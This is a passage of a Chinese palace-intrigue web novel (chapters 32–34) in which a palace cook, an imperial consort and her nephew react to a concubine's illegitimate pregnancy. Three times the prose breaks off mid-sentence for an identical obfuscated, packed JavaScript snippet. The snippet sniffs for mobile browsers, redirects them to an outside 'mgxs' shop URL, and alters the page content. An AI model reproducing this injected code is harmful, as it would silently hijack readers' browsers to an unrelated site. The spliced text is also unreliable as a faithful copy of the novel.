芳眉又道:“您要不要考虑自请照顾孟才人这一胎?如今庄贵妃要顾着良嫔那一胎,您若愿意,倒可以向皇上提一提。皇后那边要是知道了,应该会向着娘娘您,她肯定也不想被分走六宫之权。” 恭贵妃提起筷子,夹了听容做的小菜:“还不知道孟才人这一胎胎象如何。若出了差子,就是自找麻烦了。” “那不如娘娘亲自去看看孟才人?”芳眉提议。 “也好吧。”吃了开胃的小菜,恭贵妃有了胃口,让听容给她盛粥,又道:“没想到本宫都到了这个年纪了,还要去在意其他妃嫔的胎。” 正常按之前后宫势利分布,恭贵妃根本不必操这个心,谁怀孕,生几个,是男是女对她来说都无所谓。可眼下,这些无所谓都成了她必须重视的事了。 32.第32章 心有担忧,可恭贵妃也没有立刻去看孟才人。 而孟才人有了身孕,庄贵妃那边除了交代太医好生照看,就没有别的表示了。这倒不是不能理解,毕竟良嫔也怀着孕,而且月份比孟才人稳,又是跟着庄贵妃的人,庄贵妃多重视良嫔更在情理之中。 只不过这样的区别对待有些明显了,不仅让人怀疑庄贵妃的冷待是不乐意孟才人有孩子的,可又不能如何,只能用这些暗地里的法子。 皇后知道孟才人有孕,仅是让召回来侍疾的宫女灵琇去送了些规矩内的东西,仿佛身体不适让皇后实在力不从心,什么都顾不上了。 于是在观察了三日后,恭贵妃去了永定宫,一方面是想确认一下孟才人的胎象,若是安稳的,她倒乐意提出照顾,这样庄贵妃也不至于一家独大;另一方面,一个女人有了身孕,没有得到特殊的照顾,心里上肯定是不舒服的,加上身体的不适,心情就容易不好,这是不利于养胎的。她去以贵妃的身份交代几句,算是给孟才人面子,也让别人不敢怠慢。 听容被叫上一起去了,他厨艺好,恭贵妃乐意吃他做的东西。可这么好看的人,天天关在厨房里实在暴殄天物,她侄子喜欢好看的,她也喜欢,况且这个好看的还是个聪明又有心的,出门带着有百利而无一害。 “给恭贵妃娘娘请安。”宫女太监们纷纷向恭贵妃请安。 永定宫原本是有主位的,孟才人入宫后也一直跟着主位居住,可前年夏天永定宫的主位生病没了,所以就只剩下了孟才人。 孟才人入宫后虽不是特别得宠,但画了一手好画。泰宣帝每每翻画册,或者有人进贡名画时,就会想起她,有兴致的话就会让她来共赏。 “你就别起了,快躺着吧。”恭贵妃一挥手,免了孟才人的礼,“怎么样?可有不适?” 孟才人浅笑着摇摇头:“谢娘娘关心,都好。” 听容站在一边,默默地观察着孟才人,以及殿里的一切。 孟才人个子不高,说话软软糯糯的,像是南方水乡的姑娘。样貌不能说不出众,只是坐在恭贵妃身边,就显得黯淡了。这会儿她未着珠翠,显然是听了医嘱在卧床休息。 “刚怀孕总是会有各种不适,你不用太担心,有不舒服随时叫太医。皇上不在宫里,庄贵妃协理六宫事务繁忙,不是处处都顾得上,你要自己照顾好自己。”恭贵妃嘱咐,她是生育过的,虽然其中的艰辛在这么多年后渐渐淡忘了,可对有孕之人辛苦的认知还是有的。 “是,娘娘不必担心嫔妾。永定宫安静,也少有人往来,倒是让嫔妾能这么懒着。太医让静养,也禀了庄贵妃,她免了嫔妾的请安,嫔妾也不用早起了。”孟才人这番话听着是在感激庄贵妃的安排,可语气却非常淡。 “她虽被皇上宠得任性些,但对皇嗣到底是上心的。”恭贵妃笑说。 这么多年,不管她们这些女人怎么斗,都没有主动伤害过孩子。这是她们默认的底线,哪怕是庄贵妃,可能会给有孕的嫔妃找些麻烦,但并没有真做出出格的事。 至于孩子长大之后,彼此之间怎么斗怎么争,那就是下一辈的事了。这也是不可避免的。 孟才人笑了笑,没认同,也没反对。 “照顾你的太医是哪位?”恭贵妃既然来了,该问的就得问。 守在门口的太医走进来行礼,看着也就二十二三的样子,还很年轻。 恭贵妃不是太放心,她知道太医院年轻的太医都是从给宫人看病开始的。偶尔有些世家传承进宫伺候的太医,是可以直接给嫔妃看病,不过恭贵妃对这个小太医没有印象。 “孟才人的胎象如何?”恭贵妃问。 段太医低着头,谨慎地答:“才人有孕已经两个多月,目前一切稳妥,只需要静养,不要累着即可。” “那就好,下去吧。”恭贵妃让段太医离开后,又对孟才人道,“我看段太医年纪太轻,怕对你安胎助益有限,不如派个老成的来伺候。” “不必。”孟才人几乎是毫不犹豫地回绝了,“他虽年轻,但我看他行事稳妥,是个可信的。再者,那些医术好的太医万一赶上良嫔身体也不适,都被请了去,怕也顾不上我了。倒不如这个清闲的,随叫随到。” 恭贵妃想着也是这个理:“也好吧。” 小太医想往上升,总要拿出些能耐。如果孟才人这一胎顺利生产,段太医也算有了资历,升得能快些,想来为了前程,也不会不尽力。 听容一边听着两个人的话,一边继续观察室内,他之前只觉得这里比循才人得宠那会儿,布置上差了不少。可在去过失宠的循才人宫里后,他又发现这里还是比不上循才人那里。 稍微坐了一会儿,恭贵妃就离开了。 一行人回到繁秀宫,恭贵妃喝着茶道:“孟才人目前看起来都还安稳,本宫倒是可以考虑跟皇上提一提照顾她的事了。” “您有这个心,孟才人应该会感激您才是。”芳眉刚才也跟着去了,还特地去看了给孟才人准备的安胎药,用的药材都是干净饱满的。 听容出于好奇地问道:“娘娘,孟才人出身很低吗?” “怎么这么问?”恭贵妃不介意他在她没问的情况下开口。 “奴才瞧着她宫里的摆设很一般,这倒不是什么要紧的,可能是宫里有人拜高踩低了。可才人的首饰里有些看着并不值钱,不像是宫里的东西,如果是家境一般,从娘家带进宫的,倒是说得通。还有,她妆台边挂着一个风筝,看上去像是新的,但颜料样式和奴才老家集市上卖的差不多,不像是宫里做出来的东西。”听容也不是故意要去找茬儿,只是今天孟才人头上、身上都没戴东西,饰品全摆在了妆台上,他才留意到的。 要说好的玉、金之类的,他肯定无法估量价值几何,因为没接触过。但要说品质、颜色差的,他见得就多了。村里人哪能有那么多又纯又好的东西,多是些普通甚至普通偏下的货色,他自然能分辨一些。 恭贵妃放下茶盏皱起眉,和芳眉对视了一眼,说:“孟才人家境很好,段不至于拿这些不入流的首饰进宫才是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294640|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听容也意识到,他之前给孟才人送墨,娘娘说孟才人擅作画。学画这件事本身就是很费银子的,不可能出身差。 “以孟才人的身份,应该没有人会给她送次等的饰品才是。”芳眉帮着分析。 “这就奇怪了。”恭贵妃没怀疑听容看走眼,毕竟到繁秀宫也有段时间了,就算不识货,看到过她的饰品,多少得能分出些好坏才是,这种眼力本就是耳濡目染学会的。 “奴婢会着人留意的。”芳眉主动揽了活儿。若放在平时,她和恭贵妃都不会特别在意,但现在是恭贵妃有意照顾孟才人的胎,所以一点点风吹草动都得打起十倍的心留意,以免好意却惹一身腥。 * 孟才人那边还没看出什么,皇上要摆驾回宫的消息就先传回了来。 此时,严昱祉正好来给恭贵妃请安,听容端了茶进来,芳眉在说这个消息。 “还没求得下雨,就要回宫了?”恭贵妃脸色不是很好,她是期盼能下雨的。这些日子季汀加急给南疆去了信,家里也回了信过来,说今年的确雨少,南疆的种植也被影响了。 “是。”芳眉的脸色也没好到哪儿去,“说是孟才人有喜,皇上惦念,觉得上天赐于皇家子嗣,皇上身为帝王,定是要回宫看望的。” “呵呵。”恭贵妃冷笑,“求不得雨,又耐不住苦,找了个借口就想回宫,这就是大勉朝当今的圣上,简直可笑。” 听容听到这话,端茶的手都抖了一下,要是被人听到,可是大不敬! “他不向来如此吗?好逸恶劳,贪图享乐,疑心深重,又自以为是,还要让别人说他是明君。”严昱祉嘲讽的意味更明显。 听容心跳得怦怦的——敢这样说皇上,不死也是会要半条命的吧! “这些年大多时候都是风调雨顺,看不出他的懒怠和无能。现下真是展现得淋漓尽致,不过他还知道要点脸,给自己找了个还算像样的借口。”恭贵妃说。 “意料之中,只是比预想得回銮更快。”严昱祉笑着摇摇头。 听容这下看明白了,恭贵妃和严昱祉根本就不服泰宣帝!但虽然不明白为什么,可听到这些话他自认对他是没好处的。 可还没等他遁走,就被严昱祉一把拉住了手腕,惊得听容眼睛都瞪大了。 严昱祉笑看着他,眼里的情绪很复杂,听容看不明白,就听严昱祉道:“听到了我和姑母的话,以后就跟我们是一条船上的人了。不要出去乱说,否则……” 恭贵妃拿了个果子丢严昱祉:“你吓唬他做什么?” 严昱祉从容地接住果子,笑说:“我这不是以防万一吗?” “听容又不傻。”恭贵妃显然是把这一宫人都绑到她这条大船上了,这也是她宫里轻意不进人的原因。 “就怕小事上精明,大事大非上糊涂。”两个人一个唱白脸,一个唱红脸。 听容心里明白,自己现在最好就当是听到了一场稀松平常的对话,不需要表忠心,也不必多说什么。他进了繁秀宫,其实就已经上了这条船了。 33.第33章 他要是去告发,仅凭一张嘴,没有别的证据,谁会信?再说,如果他动了这样的心思,有没有命去告发还两说。 而他如果把嘴闭上,跟着这条船走,只要恭贵妃不倒,他就是安全的。为了安全,有时候就得冒些险。 回到小厨房,锅里炖着燕窝。听容坐在小凳子上看着火,心思却早就不知道飞到哪儿去了。 他所居住的村子,除了村长家,大多数农户在缴完税后,并剩不下多少东西。省着吃是饿不着,却也存不下。村长家因为前几辈出过一个当官的,所以手上才有了一定的家底,村里的私塾也是村长家负责所有开支。 农民勤勤恳恳忙碌一年,就算在老天赏脸的情况下,依旧是粮食勉强够吃,就说明税很重。 那这些税多少是用于民生,多少是用于军队,又有多少是用于皇家享乐,这些听容之前是没有去想的。可刚听到恭贵妃和严昱祉的对话,能有这么大的怨言,说明至少军中对泰宣帝是不满的。民生上听容也没感觉到优待,只知道村里除了他家,别人的日子也越发紧巴。那赋税用哪儿去了可以想象。 当然,他考虑到的这些有的是自己的猜测,有的是凭体感判断的,未必准确。可有一点是能确定的,就是赋税是真的重,村里很多人成年后都会到镇上找活儿,赶上收成不好的时候,要靠干活赚来的钱补粮食填不满的税,方能安生度日。 门帘被掀开,严昱祉长腿一迈,就进门了。这是听容来后第二次见他进小厨房,已经是轻车熟路了。 “刚才吓着你了?”严昱祉没走近,只站在门边,眼里含着一点笑意,分不清是亲近还是疏离。 听容摇摇头:“没有,只是很意外。”他算是说了个小谎,他的确吓着了,但现在想了一通后,又觉得没那么吓人了。 严昱祉用脚钩了个凳子过来,坐到了听容身边:“你得力,姑母觉得你得用,我多跟你说几句也无妨。你不必惊讶于我们对皇上有怨言,皇权与军权既相互支撑,又相互防备。其中的复杂一句半句说不明白,你或许也没兴趣,但有一点我得跟你说。” 听容歪头看他,等他继续。 严昱祉收了笑意,看着烧得不旺的火:“皇上把我叫进京,对外说是为了让姑母好好养病,实际是引我来做人质的。” 听容只觉得头皮一紧,好像头发要炸开一般。就算他不懂让严昱祉为质有什么用,可“人质”这个词本身就不是一个让人感到安全的存在了。也就是说严昱祉表面看着无拘无束,实际多有掣肘。 “怎么会如此?娘娘不是很受宠爱吗?”听容问出了最浅层的疑惑。 “说来话长,以后有机会我慢慢跟你说。”严昱祉的态度并不是糊弄听容,“总之我是想告诉你,你进了繁秀宫,我们就真的是一条船上的了。你不要以为我是在害你,在这个宫里,没有一个后妃能不为自己的将来盘算,也没有一个皇子能不想要皇位。父慈子孝,兄友弟恭,君臣一心,从来就是糊弄人的。 “想在这个宫里活,就得当刀俎而非鱼肉。而想当刀俎,就要有个坚实的靠山。我自认有能力成为这个靠山,你待在这儿反而是最安全的。” 严昱祉的自信让听容有些恍惚,仿佛自己在冥冥之中走上了一条他从未想过的路,而这条路告诉他,走在这里,他是最安全的。 “我明白了。”听容知道自己没办法拒绝,不是被胁迫的,而是心甘情愿站上了这条船。因为只有在这里,他才觉得自己虽然是奴才,却活得像个人。 严昱祉笑了:“很好。你也不必想太多,做好你该做的,剩下的都由我和姑母来。” * 泰宣帝回宫后,先是去看望了孟才人,这是他对外宣称回来的原因,自然面子工夫得做足。 随后又去看望了皇后和庄贵妃,但并没在这两处用饭,而是在晚膳时进了繁秀宫。 恭贵妃站在宫门口接驾,尤显喜悦。泰宣帝亲自将恭贵妃扶起来,牵着她的手往里走,显得既亲近又重视。 听容跟在他们身后,并未觉得恭贵妃虚伪。对方是皇上,再不满也不能露在面上。要真论起虚伪,皇上也不遑多让,一面表现得对恭贵妃极尽宠爱;一面把严昱祉留在宫里,既能威胁恭贵妃,又能威胁严家。 “皇上祈雨辛苦了,臣妾一早叫人备上了清热去火的莲子茶,皇上稍饮些,马上就可以用膳了。”恭贵妃看着满心满眼都是皇上,仿佛多日不见,甚是想念。 听容一边往桌上摆菜,一边听着恭贵妃和泰宣帝说话。 “斋戒了这么多天,还是没下雨。原以为是朕做了什么错事,老天不肯赏雨,可没想到上天却又给了朕子嗣,可见并非朕的原因。”泰宣帝把借口找了个满满当当,还挺会自圆其说。 “是啊。臣妾也是去看过孟才人了,伺候的小太医说胎象安稳,可见上天眷顾。”恭贵妃捡着好听的说。 “不错,朕看孟才人精神不错,也就放心了。皇后还病着起不来身,庄贵妃忙着后宫的事,朕就没在她那儿多留。还是你这儿最安宁稳妥,今晚朕好好陪陪你。”泰宣帝看着恭贵妃,很是深情。 恭贵妃长得实在漂亮,听容觉得泰宣帝对恭贵妃颜色上的喜爱肯定是不会做假的。 “臣妾身体还没全好,皇上要在臣妾这儿留宿,别的妹妹怕是心里要不痛快了,觉得臣妾霸占了您来。” 泰宣帝笑出声,泰宣帝即便已经有了些年纪,这些年太医伺候着,保养得宜,依旧能看出年轻时的俊逸:“朕觉得疲累的时候就愿意跟你待在一块,什么都不做,哪怕不说话也是好的。” 恭贵妃没再说让泰宣帝找其他妃嫔的话,眼下泰宣帝在谁宫里留宿还是很重要的,不能让人觉得庄贵妃一家独大。 “说来有一事,臣妾有些不放心。”恭贵妃引了话头。 “何事?” “伺候孟才人的太医臣妾总觉得年纪太轻,怕是经验不足。不过孟才人觉得合适,臣妾也不便说什么。可为保险起见,臣妾觉得不换她用的这位小太医也罢,可若伺候您的卞太医能去给看一看,也是好的。”恭贵妃这边还没查到孟才人宫里为什么会有那么些不值钱的玩意儿,眼下还是先确保龙胎健康无虞吧。 “你考虑得很是。过几日朕得空了,带上卞太医去给她诊一诊。”泰宣帝重视这个孩子,良嫔有孕期间打死了人,他忌讳,即便近来有所缓和,但心里的芥蒂他自己清楚。现在又有了一胎,还来得这么及时,解了他的困局,他多重视些也是应该的。 “皇上,娘娘,菜齐了。”芳眉上前请两人用膳。 侍膳有芳眉和泰宣帝的贴身小太监在,听容就退了出来。 “应公公,小厨房的晚饭已经备妥,您先去用些吧。一会儿皇上用完膳,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299903|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得需要您伺候。”听容知道皇上身边这些伺候的人里谁最要紧,自然不会怠慢。 应顺对听容是有些好印象的,无论是他之前救了循才人,还是皇上来与恭贵妃说协理六宫之事,他推着灵瑚像没事人一样进去送茶点,都足以证明这个小子是拎得清的。 “成,那我先去吃,你在这儿帮我守着。”应顺也承他的好意。 “公公放心,若皇上有吩咐,我立刻去叫您。”听容目送应顺带着另一个年纪轻的贴身太监前去用饭。他则守在门口小心听着里面的对话。 恭贵妃借着用膳闲聊,提起了循才人,说她虽然治下不严,可她一直就是那个性子。庄贵妃让大家抄经祈雨,循才人也抄了,算是有心,功过相抵,就放她出来吧。 泰宣帝今日心情好,想着也不是大事,罚也罚过了,便道:“那就算了吧。让人去说一声,解了她的禁足吧。” 恭贵妃笑道:“那臣妾先替循才人谢过皇上了。”说罢,她叫了听容进来去长宁宫传旨。 听容这才意识到恭贵妃这是给他做面子呢。他之前跟循才人说帮不了,现在恭贵妃却把这件事搞定了,循才人自然会想定是他跟恭贵妃提了,否则恭贵妃不可能管。 想到这儿,听容不禁扬了扬嘴角,娘娘给他做这个面子,并不是为了让循才人知道他有多受重用,而是在告诉他,跟着娘娘,忠心伺候,一定会有好日子过。同时也是告诉整个宫里,庄贵妃的命令,她恭贵妃有本事改。 “我真的可以出去了?”得到消息,循才人激动得站了起来,之前听容拒绝了她的请求,她原本以为出去无望了。 “是,恭贵妃娘娘给您求了请,皇上已经应允了。恭喜循才人了。”听容并不准备多留,“口谕传到了,奴才告退。” “等一下。”循才人还是叫住了他,“多谢你了,听容。” “奴才没做什么,您不必谢奴才。” “那改日,我去谢恭贵妃。”循才人想着能借机见到恭贵妃也是好的,毕竟恭贵妃对她避而不见很久了。 听容不置可否,娘娘见不见就不是他说得算了。 和循才人一样高兴的还有芷月和采莺,毕竟能出去了,谁会不高兴? 听容只冲芷月笑了笑,就回去复命了。 第二天庄贵妃知道皇上把循才人放出来了,但并未去看循才人,也没多说什么,这件事就这么过去了。 而循才人来拜见时,恭贵妃依旧找了个理由请她回去了,让后宫其他人一时摸不清恭贵妃的意思。 听容安安心心守着小厨房,每天换着样地给恭贵妃准备吃的。心里盘算着现在皇上回来了,严昱祉应该可以找机会带他出宫转转了,不过雨还是没下,不能太心急。 就在听容的盼望中,这天下午,听容去给恭贵妃送燕窝,结果跟急跑回来的芳眉撞了个满怀,差点把燕窝打翻了。 “姑姑,没撞伤你吧?”听容忙关心地问。 芳眉根本顾不上他,说着“没事没事”,就冲进了殿内。 “怎么了这是?”恭贵妃看到芳眉这么不稳当,有种今夕是何年的恍惚,她都多久没见芳眉这么毛躁了? “娘娘,孟才人那边出事了!皇上带着卞太医去诊脉,结果月份和小太医报的不一样,孟才人不是两个月身孕,而是一个月!而记档上那一个月她根本没侍寝过!” 34.第34章 这下不仅听容听懵了,就连见多识广的恭贵妃也懵了——她见识得再多,也没遇上混淆皇嗣的事! “怎么会这样?”恭贵妃脸沉得可怕,虽说此事与她没有干系,可龙颜震怒,谁都不好过。 芳眉声音放低了些:“具体的奴婢也不知道,已经让人再去打听了。不过此事最遭殃的应该是庄贵妃,属于是她管理疏忽了。” 正常来说,庄贵妃应该是最疑心的那个,孟才人又不是她的人,为了安全起见,她应该再多叫一位太医诊治,然后对照侍寝记档。时间对得上,才会去通知皇上。而庄贵妃可能不喜欢孟才人,根本没把她放在眼里,加上那几日她正用抄经磋磨后妃,良嫔又龙胎不适,她顾不过来,肯定是紧着良嫔来。所以孟才人传出有孕,无论她是否高兴,都没理会,直接派人去禀报了,这才出了纰漏。 说来也是不赶巧,若是皇上再晚些时候回来,庄贵妃得空乐意留意孟才人了,说不定还能找补一二。 “咱们去看看。”恭贵妃起身就准备往永定宫去,可走到殿门口又停了下来,“不成,现在去难免触霉头,反倒像是去落井下石的,还是不去为妙。芳眉,你再去打听着,见机行事。” 因为实在没有经验,无论是多想还是少想,都有可能,最好的办法就是原地不动,等消息多些再做判断。 “是,奴婢这就去。”出了这样的大事,孟才人的命肯定是保不住了,至于会牵连多大,还得看泰宣帝的意思。毕竟这个孩子可是皇上向外证明无雨不是天谴的有利证据,现在这个证据成了笑话,让皇上的脸面往哪儿放? “听容。”见他站在外面,恭贵妃又将他唤了进来,“你去一趟皇子所,跟昱祉说一声,让他这些日子低调些,尽量别到皇上跟前去。” “是。”听容把燕窝往前递了递,“娘娘还是吃盏燕窝,平平心惊吧。” 恭贵妃摆摆手:“本宫吃不下。” 听容思索了一下,说:“那奴才拿去给严公子吧,有个由头比奴才空手去强。” 就算别人能猜到听容是去传话的,手里有东西当掩护,别人也只能是猜,是不是的也不能确定。 恭贵妃点头:“去吧。” 大概是繁秀宫消息最快,他前往皇子所这一路平风浪静,皇子所内也一如往常。即便还是没下雨,可皇上回来了,又有吉兆,皇子所内倒是热闹。 大皇子又在练习射箭,这次倒没冲着听容来上一箭,也没多留意他。三皇子和四皇子坐在门口读书,朗朗的读书声像是在描述着皇子们的文武并重。 严昱祉坐在廊下翘着腿,吹着暖风闭目养神,听着射箭声、读书声,以及小禾剥核桃的咔嚓声。 “听容!”小禾看到了,立刻丢下核桃跑了过来。 “又剥核桃呢?”听容已经有阵子没见小禾剥核桃了。 “没什么事做,就剥一些,吃多了也有点腻了。”说着,小禾的目光转到了听容手里的食盒上,“是什么呀?” 听容声音略高了些:“是炖好的燕窝,娘娘让给公子送来。” 严昱祉已经睁开了眼睛,这会儿正似笑非笑地看着听容。 听容看不出他在想什么,先照着规矩办事,等进了殿内再说。 小禾没有立刻接话,顿了一会儿,才道:“那快送进去吧。” 随后三个人顺理成章地进了致书堂。读书声还在继续,倒是射箭的声音似乎停了。 “姑母是有什么吩咐?”关了门,严昱祉直接问。 听容没掩饰诧异,他不清楚严昱祉是怎么知道他是带着吩咐来的。 不等他问,严昱祉就解释道:“我不爱吃燕窝这种东西,小禾也不喜欢,姑母自不会特地让你给我送这个。” 听容不卖关子,赶紧把事情跟他说了。 这下惊讶的变成了严昱祉和小禾,小禾立刻道:“我还是出去守着吧。” 他担心有人凑过来偷听。 严昱祉点头,小禾就出去了。 而他这一出去,就收到了几道暧昧的目光。都知道严昱祉喜欢好看的,听说这小太监能进繁秀宫伺候,还是严昱祉推荐的。现在两个人单独待在屋里,能让人遐想的空间就大了。 这个宫里,有几个心思干净的?皇子也好、伴读也好,私下里见过的花花绿绿远比寻常人能想象得多得多,只是有些人看多了会写在脸上,臆想藏都藏不住,有些人可能更多的是好奇,想法倒不多。 小禾是个单纯的,只觉得大皇子的目光让他讨厌。至于其他人看过来,他不知道这些人有什么好看的。只有四皇子看着正常些。 “这下后宫恐怕要翻天了。”严昱祉倒有些分幸灾乐祸,“这个孟才人胆子够大的,敢在皇宫里私通,怀了孩子还敢张扬。” 听容无法评价,他到现在也没想明白孟才人到底是怎么跟别人有的孩子。皇宫守卫这样森严,不可能随便让外男进入。侍卫们排班都是有严格规定的,巡视也是一队人同行,不可能有单独在后宫活动的时间。 见他不说话,严昱祉笑问:“没什么想说的?” 听容是真的没有。 严昱祉笑说:“那你把那碗燕窝喝了。” “我?”听容指了指自己。 严昱祉这才解释他和小禾都不喜欢,都送来了不如听容喝完了拿着空碗回去,还能减轻点重量。 燕窝在宫里很寻常,可对于听容这个乡下来的人来说,可是很贵的东西。就算主子不吃,也轮不上他。 见他不肯,严昱祉道:“在我面前有什么好客气的?吃吧。我估计现在整个后宫都没有几个人有心思吃燕窝了。 “再说,你带燕窝来,本就是打掩护的。如果原封不动地拿回去,万一路上遇上找事的查你食盒,你的掩护不就露馅了?” 听容本就谨慎,这番话让他无法拒绝,只好打开食盒,拿出燕窝来。 “坐着吃吧,又没别人。” 听容谢过,坐下吃起来。燕窝没有什么特别的味道,吃着还挺顺口。 严昱祉坐在他对面,左手小臂搭在桌上:“你消息来得快,现在皇子所还能热闹着。等会儿且看吧,说不定比空着的宫室都安静。” 听容:“皇上应该暂时不会杀孟才人吧?良嫔的孩子肯定是皇上的,为这个孩子祈福,不能再闹出人命了。” 严昱祉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303256|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屑地笑道:“依我看,比起孩子是不是皇上的,皇上更在意的是自己的天赐吉兆被打破了,他要怎么圆这个谎,才能堵住天下人的悠悠之口。否则‘天不下雨,是帝王不贤’的猜测恐怕就压不住了。” 懒得再为泰宣帝的破事费心,严昱祉换了话题:“这下带你出宫的事又得往后拖了。” “没办法,谨慎要紧。”听容对这样的不可抗力是能接受的。 “你这些日子在后宫伺候也小心些,繁秀宫倒没什么,出门的话可要留意,估计庄贵妃的协理六宫之权要被收回,到时候后宫人心浮动,皇上气又不顺,容易出事。”严昱祉提醒。 听容是惜命的:“谢公子提点,我定会当心。” 一碗燕窝吃完,听容刚放下碗,就听到了外面有了动静。 严昱祉拉了他一把,两个人来到窗前,严昱祉将窗子打开一条缝往外看。 来人太急,都没顾上请大皇子进殿细说,就直接扑到在大皇子腿边,声音也没控制:“殿下,出事了。” 太监把孟才人的事情说了一遍,听得在院子里的一干人全都定在原地,如石雕一般。 “皇上发了大怒,怒斥庄贵妃娘娘无能,收了娘娘的协理六宫之权。现在娘娘正跪在温华殿外请罪。”太监说得急切,声音都有些叉了,“殿下,还请您去为娘娘求求请吧。” 赵恒栋愣了好一会儿,然后像突然清醒了似地冲了出去。 “蠢货。”严昱祉嗤笑。 听容个子比严昱祉矮,他凑到窗边半蹲着听,严昱祉则在他上面,可严昱祉的声音却像是贴着他说的,让他听得十分清楚。 他不解地仰头去看他。 严昱祉关上窗子:“皇上正在气头上,去求情只能火上浇油。这种被戴了绿帽子的丑事,就算知道压不住,表面上也得是越少人知道越好。做儿子的去掺和老子后院的那些事,还怕火烧得不旺?” 听容站直了身体:“庄贵妃毕竟养了大皇子这么多年,这个时候不出面,在庄贵妃那儿也说不过去。” “也是。如果大皇子有点脑子,到了温华殿就直接把庄贵妃请回去,别想着见皇上求情,这样皇上面子上还好看点。”严昱祉说。 “且听着消息吧。”听容不知道事情会往哪个方向走,他们能做的只是心中有数,静看走向。 这会儿各宫应该都得到消息了,陆续又有太监来替后妃传话,估计意思跟恭贵妃差不多。 “你先回去吧,趁着乱不惹眼。”严昱祉给他找了个好时机。 “那奴才告退了。”听容出了门。 “要回去了?”小禾还没跟他说上几句话,不过也知道现在可不是悠闲聊天的时候。 “嗯。”听容看了一眼小禾剥好的一堆核桃仁,说,“你若是核桃吃腻了,我帮你做成核桃酥吧。” 小禾一下就乐了:“好呀好呀!那就拜托你了。” “做好了给你送来,这几日你也别乱跑,多当心些肯定没错。”听容也提醒了小禾,无论是不是多此一举,听容觉得自己应该这样做。 “明白,放心吧。”小禾帮着把核桃仁全倒进食盒里,然后送听容出了门。